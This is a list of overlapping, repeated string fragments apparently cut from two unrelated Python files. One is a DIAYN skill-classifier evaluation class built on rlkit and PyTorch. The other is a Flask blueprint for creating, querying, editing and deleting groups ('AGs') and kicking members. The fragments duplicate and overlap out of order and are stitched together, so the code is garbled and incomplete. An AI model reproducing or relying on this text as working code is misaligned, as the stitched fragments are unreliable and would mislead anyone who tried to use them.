"super().__init__(*args, **kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array",
"skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) *",
"): super().__init__(*args, **kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector)",
"= skill_dim def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for",
"return ret_dict def plot_posterior( self, *args, epoch, skill_recon, skill_id, skill, **kwargs ): pass",
"dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for number in range(self.seq_collector._policy.skill_dim)] skill_ids =",
"skill, **kwargs ): pass def classifier_evaluation( self, *args, epoch, skill_recon, skill, **kwargs ):",
"skills, skill_influence_paths): path['skill_id'] = skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return",
"**kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array =",
"assert isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len,",
"in skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill)",
"next_observations, **kwargs ) -> dict: next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict",
"from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import",
"**kwargs ): pass def classifier_evaluation( self, *args, epoch, skill_recon, skill, **kwargs ): #skills_np",
"= ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict def plot_posterior(",
"get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim =",
"dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(), skills.cpu()) self.diagno_writer.writer.writer.add_scalar( tag=self.get_log_string(\"Classifier Performance/Eval\"), scalar_value=df_accuracy_eval, global_step=epoch, )",
"ret_dict def plot_posterior( self, *args, epoch, skill_recon, skill_id, skill, **kwargs ): pass def",
"torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(), skills.cpu()) self.diagno_writer.writer.writer.add_scalar( tag=self.get_log_string(\"Classifier Performance/Eval\"),",
"as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import",
"= skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len,",
"path in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths",
"self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths)",
"list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1) assert",
"dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self, *args, epoch, skill_recon, skill_id, skill, **kwargs ):",
"skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(), skills.cpu())",
"discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list)",
"DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu",
"**kwargs ): #skills_np = np.array([np.array([_skill] * self.seq_len) for _skill in skill]) assert isinstance(skill,",
"my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self, *args, epoch, skill_recon,",
"skill_recon, skill, **kwargs ): #skills_np = np.array([np.array([_skill] * self.seq_len) for _skill in skill])",
"list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id, skill, path in zip(skill_ids, skills, skill_influence_paths): path['skill_id']",
"isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1)",
"torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills =",
"skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,])",
"[] skills = [] for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths(",
"= [] for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len,",
"max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert",
"as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs,",
"**kwargs, ): super().__init__(*args, **kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector,",
"def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for number in",
"skill_influence_paths): path['skill_id'] = skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths",
"self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim,",
"my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(),",
"= torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(), skills.cpu()) self.diagno_writer.writer.writer.add_scalar( tag=self.get_log_string(\"Classifier",
"= self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df( self, *args, next_observations, **kwargs ) ->",
"isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for number in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills",
"skill_ids = [] skills = [] for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill =",
"= list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id, skill, path in zip(skill_ids, skills, skill_influence_paths):",
"next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict def",
"zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths)",
"ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors",
"ret_dict = dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self, *args, epoch, skill_recon, skill_id, skill,",
"for skill_id, skill, path in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id path['skill'] =",
"= dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self, *args, epoch, skill_recon, skill_id, skill, **kwargs",
"epoch, skill_recon, skill_id, skill, **kwargs ): pass def classifier_evaluation( self, *args, epoch, skill_recon,",
"assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for number in range(self.seq_collector._policy.skill_dim)] skill_ids = []",
"rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors",
"self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths()",
"assert isinstance(skill_influence_paths, list) for skill_id, skill, path in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] =",
"plot_posterior( self, *args, epoch, skill_recon, skill_id, skill, **kwargs ): pass def classifier_evaluation( self,",
"#skills_np = np.array([np.array([_skill] * self.seq_len) for _skill in skill]) assert isinstance(skill, list) assert",
"self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len)",
"* self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) *",
"self.seq_len) for _skill in skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len))",
"path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df( self,",
"): #skills_np = np.array([np.array([_skill] * self.seq_len) for _skill in skill]) assert isinstance(skill, list)",
"DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim = skill_dim def",
"skills = [] for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len,",
"self, *args, next_observations, **kwargs ) -> dict: next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate,",
"= skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df( self, *args,",
"= [number for number in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills = [] for",
"import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim",
"path['skill_id'] = skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad()",
"-> dict: next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return",
"-1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval",
"self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(), skills.cpu()) self.diagno_writer.writer.writer.add_scalar( tag=self.get_log_string(\"Classifier Performance/Eval\"), scalar_value=df_accuracy_eval, global_step=epoch,",
"self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df( self, *args, next_observations, **kwargs ) -> dict:",
"np.array([np.array([_skill] * self.seq_len) for _skill in skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1] ==",
"import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from",
"as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import",
"MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self,",
"import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args,",
"skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(), skills.cpu()) self.diagno_writer.writer.writer.add_scalar(",
"range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills = [] for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill",
"MdpPathCollector) skill_array = [number for number in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills =",
"for _skill in skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped",
"* self.seq_len) for _skill in skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill),",
"self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id, skill, path in zip(skill_ids,",
"): pass def classifier_evaluation( self, *args, epoch, skill_recon, skill, **kwargs ): #skills_np =",
"self.skill_dim = skill_dim def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number",
"skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df(",
"skill, path in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths)",
"**kwargs ) -> dict: next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict =",
"next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self, *args, epoch, skill_recon, skill_id,",
"torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector",
"skill in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id)",
"import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def",
"skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id, skill,",
"skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill)",
"skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self) -> dict: assert",
"my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs, ):",
"isinstance(skill_influence_paths, list) for skill_id, skill, path in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id",
"def apply_df( self, *args, next_observations, **kwargs ) -> dict: next_observations = ptu.from_numpy(next_observations) skill_recon",
"skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill)",
"assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len],",
"numpy as np import matplotlib.pyplot as plt import torch import torch.nn.functional as F",
"[number for number in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills = [] for skill_id,",
"= np.array([np.array([_skill] * self.seq_len) for _skill in skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1]",
"ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self,",
"__init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self) ->",
"skill_array = [number for number in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills = []",
"return skill_influence_paths @torch.no_grad() def apply_df( self, *args, next_observations, **kwargs ) -> dict: next_observations",
"== torch.Size((len(skill), self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills",
"plt import torch import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util",
"-> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for number in range(self.seq_collector._policy.skill_dim)] skill_ids",
"skill_id, skill, **kwargs ): pass def classifier_evaluation( self, *args, epoch, skill_recon, skill, **kwargs",
"epoch, skill_recon, skill, **kwargs ): #skills_np = np.array([np.array([_skill] * self.seq_len) for _skill in",
"def plot_posterior( self, *args, epoch, skill_recon, skill_id, skill, **kwargs ): pass def classifier_evaluation(",
"np import matplotlib.pyplot as plt import torch import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval",
"skill_dim def collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for number",
"self.seq_len)) skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)]",
"= skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths",
"seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs)",
"skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df( self, *args, next_observations,",
"*args, epoch, skill_recon, skill_id, skill, **kwargs ): pass def classifier_evaluation( self, *args, epoch,"
] |
[
"# check that the requester is authenticated/logined @requires_auth() def add_ag(): ''' Create a",
"@bp.route('<ag_name>/delete') # check that the requester is authenticated/logined @requires_auth() # check that the",
"ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() #",
"add the association entry and save the database changes db.session.add(user_ag) db.session.commit() # return",
"g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200",
"to kick the user out :param user_name: username of the user to be",
"from flask import Blueprint, request, jsonify, g, url_for, flash, redirect from sqlalchemy.sql import",
"(with limit and offset) all_ags = AG.query.offset(offset).limit(count).all() # return a json representation return",
"save the changes to the database flash(f'You sucessfully kicked {user.username} from the AG",
"sucessfully left the AG {ag.name}', 'success') # save the cganges to the database",
"a user out of an ag :param ag_name: name of the ag to",
"dashboard db.session.commit() flash(f'Successfully changed the roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave')",
"the ag (eg. /ag/<name>) :key: display_name: AG name that is human read able",
"user and the ag --> get filled by @requires_mentor :param ag: database entry",
"the user --> :value: <role> --> 'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name of",
"the last Mentor of {ag.display_name}', 'error') # else else: # save a success",
"''' delete an ag :param ag_name: name of the ag to be deleted",
"representation of the AG ''' # if the requester is a member of",
"automatic filled params :param user_ag: database entry of the association bewteen the request",
"# else # change the association entry, so the user is not a",
"db.session.commit() # return to the dashboard with a success message flash(f'You successfully deleted",
"deleted the AG {ag.name}', 'success') # else if there are no mentors left,",
"display_name: AG name that is human read able (can contain spaces etc.) :key:",
"# import utilities from app.util import requires_auth from app.util.assocations import requires_mentor, requires_member_association from",
"user out :param user_name: username of the user to be kicked out automatic",
"the database changes db.session.add(user_ag) db.session.commit() # return a success message return jsonify({'status': 'success',",
"default=None) description = request.values.get('description', default=None) value_changed = False # checks if the display_name",
"ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) # check",
"to the ag dashboard flash(f'You cannot leave an AG, when there is no",
"the ag if not ag.actual_users: # delete the ag db.session.delete(ag) db.session.flush() # save",
"AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) # check that the requester is authenticated/logined",
"save a error message flash(f'You cannot kick the last Mentor of {ag.display_name}', 'error')",
"@requires_auth() def get_all_ags(): ''' Query up to 20 ags The request body may",
"= 'MENTOR' # add the association entry and save the database changes db.session.add(user_ag)",
"simulate the changes edit_user_ag.role = role db.session.flush() # if there are no mentors",
"if the display_name or description got transmitted # if so update the ag",
"--> get filled by @requires_member_association :return: redirect to the dashboard ''' # delete",
"return the schema for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id",
"ag :param ag_name: name of the ag to be deleted automatic filled params",
"description = request.values.get('description') # check that the ag name and displayname is not",
"the request user and the ag --> get filled by @requires_mentor :param ag:",
"roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the requester",
"it will be set to 20 :default: 5 :key: offset: Int how many",
":param ag_name: name of the ag to kick the user out :param user_name:",
"to the creating user, so he is added as mentor user_ag = UserAG()",
"the association entry and save the database changes db.session.add(user_ag) db.session.commit() # return a",
"app.blueprints.api.v1.ag import applications, invitations, messages # import regex config for creating an ag",
"edited an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar() #",
"ag name and displayname is not used before and # check that the",
"and the ag to the params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag, user_ag): '''",
"dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the requester is authenticated/logined @requires_auth()",
"ag entry if display_name is not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name",
"new database AG entry ag: AG = AG() ag.name = name ag.display_name =",
"there is an result for this user <==> the user is in the",
"is not an actual user if edit_user_ag is None or edit_user_ag.role == 'NONE':",
"= role db.session.flush() # if there are no mentors left if not ag.mentors:",
"description :param ag_id: AG id for which ag the provided values should be",
"db.session.flush() # if there are no mentors left if not ag.mentors: # throw",
"delete_ag(ag_name, ag, user_ag): ''' delete an ag :param ag_name: name of the ag",
"request.values.get('color', default='primary') # Add the AG entry to the DB to create a",
"user_ag = UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id user_ag.status = 'ACTIVE' user_ag.role",
"400 if not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400 # create a new",
"ag_name=ag_name)) # else else: # save a success message flash(f'You sucessfully left the",
"AGSchemaIntern() ag_schema = AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) # check that the",
"UserAG.ag_id == ag.id)).scalar() # if there is an result for this user <==>",
"description: A description of the AG :return: If everything went as it should,",
"# return to the dashboard with a success message flash(f'You successfully deleted the",
"not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed = True if description",
"ag (eg. /ag/<name>) :key: display_name: AG name that is human read able (can",
"if not ag.mentors: # throw error flash(u'An AG needs a minimum of one",
"return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: # save a success message flash(f'You sucessfully",
"for every user/user_id passed by the form for user_id in request.values: # the",
"no mentors left elif not ag.mentors: # save a error message flash(f'You cannot",
"not None and bool(re.match(AGRegex.description, description)): ag.description = description value_changed = True # if",
"success message if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200 # else return",
"Blueprint, request, jsonify, g, url_for, flash, redirect from sqlalchemy.sql import exists, and_ from",
"Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are still mentors # -->",
"--> get filled by @requires_mentor :return: redirect to the ag dashboard ''' #",
"it to the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): ''' Query an AG specified",
":return: JSON representation of the AG ''' # if the requester is a",
"the ag to the params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag): ''' delete an",
"invitations, messages # import regex config for creating an ag from config.regex import",
"db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and deleted the AG {ag.display_name}', 'success') return redirect(url_for('index'))",
"'success') # else if there are no mentors left, but still members elif",
"regex pattern # if something isn't right return a error message if db.session.query(exists().where(AG.name",
"AG {ag.name}', 'success') # else if there are no mentors left, but still",
"to the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): ''' Query an AG specified by",
"check that the ag name and displayname is not used before and #",
"user_ag.ag_id = ag.id user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR' # add the association",
"to the params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag, user_ag): ''' kick a user",
"jsonify({'reason': 'description'}), 400 # create a new database AG entry ag: AG =",
"this blueprint bp = Blueprint('ag_api', __name__) # register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations')",
"no Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: # save",
"to the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the requester is",
"instance from app.models import db # import app with config etc. from app",
"# Add the AG entry to the DB to create a new id",
"and add it to the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): ''' Query an",
"db.session.add(user_ag) db.session.commit() # return a success message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}),",
"# throw error flash(u'An AG needs a minimum of one Mentor', 'error') return",
"the user is no member anymore and left the ag user_ag.role = 'NONE'",
"between the user to be edited an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id ==",
"exist and add it to the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): ''' Query",
"not a member of the ag anymore # and his status is kicked",
"flash(f'You sucessfully left and deleted the AG {ag.display_name}', 'success') return redirect(url_for('index')) # else",
"200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check that the requester is",
"display_name)): return jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400",
"to be kicked out automatic filled params :param user_ag: database entry of the",
"specific AG name :return: JSON representation of the AG ''' # if the",
"return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth()",
"filled by @requires_member_association :return: redirect to the dashboard ''' # if the user",
"# check that the ag with the ag_id exist and add it to",
"save the database changes db.session.add(user_ag) db.session.commit() # return a success message return jsonify({'status':",
"is not a member of the ag anymore # and his status is",
"ag to be deleted automatic filled params :param user_ag: database entry of the",
"request.args.get('offset', default=0, type=int) # adjust to a max of 20 if count >",
"add the user_ag association and the ag to the params/kwargs @requires_mentor() def change_ag_values(ag_id,",
"an ag :param ag_name: name of the ag to kick the user out",
"--> get filled by @requires_member_association :return: redirect to the dashboard ''' # query",
":return: ''' # read the request vaalues display_name = request.values.get('display_name', default=None) description =",
"if there are no members left if not ag.actual_users: # delete the ag",
"ag_name: name of the ag to be deleted automatic filled params :param user_ag:",
"else return a BadRequest message else: return BadRequest() @bp.route('/', methods=['GET']) # check that",
"'success') db.session.commit() # return to the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') #",
"user_ag association and the ag to the params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag):",
"0 :return: JSON Representation of the AGs ''' # read request params and",
"jsonify({'status': 'success'}), 200 # else return a BadRequest message else: return BadRequest() @bp.route('/',",
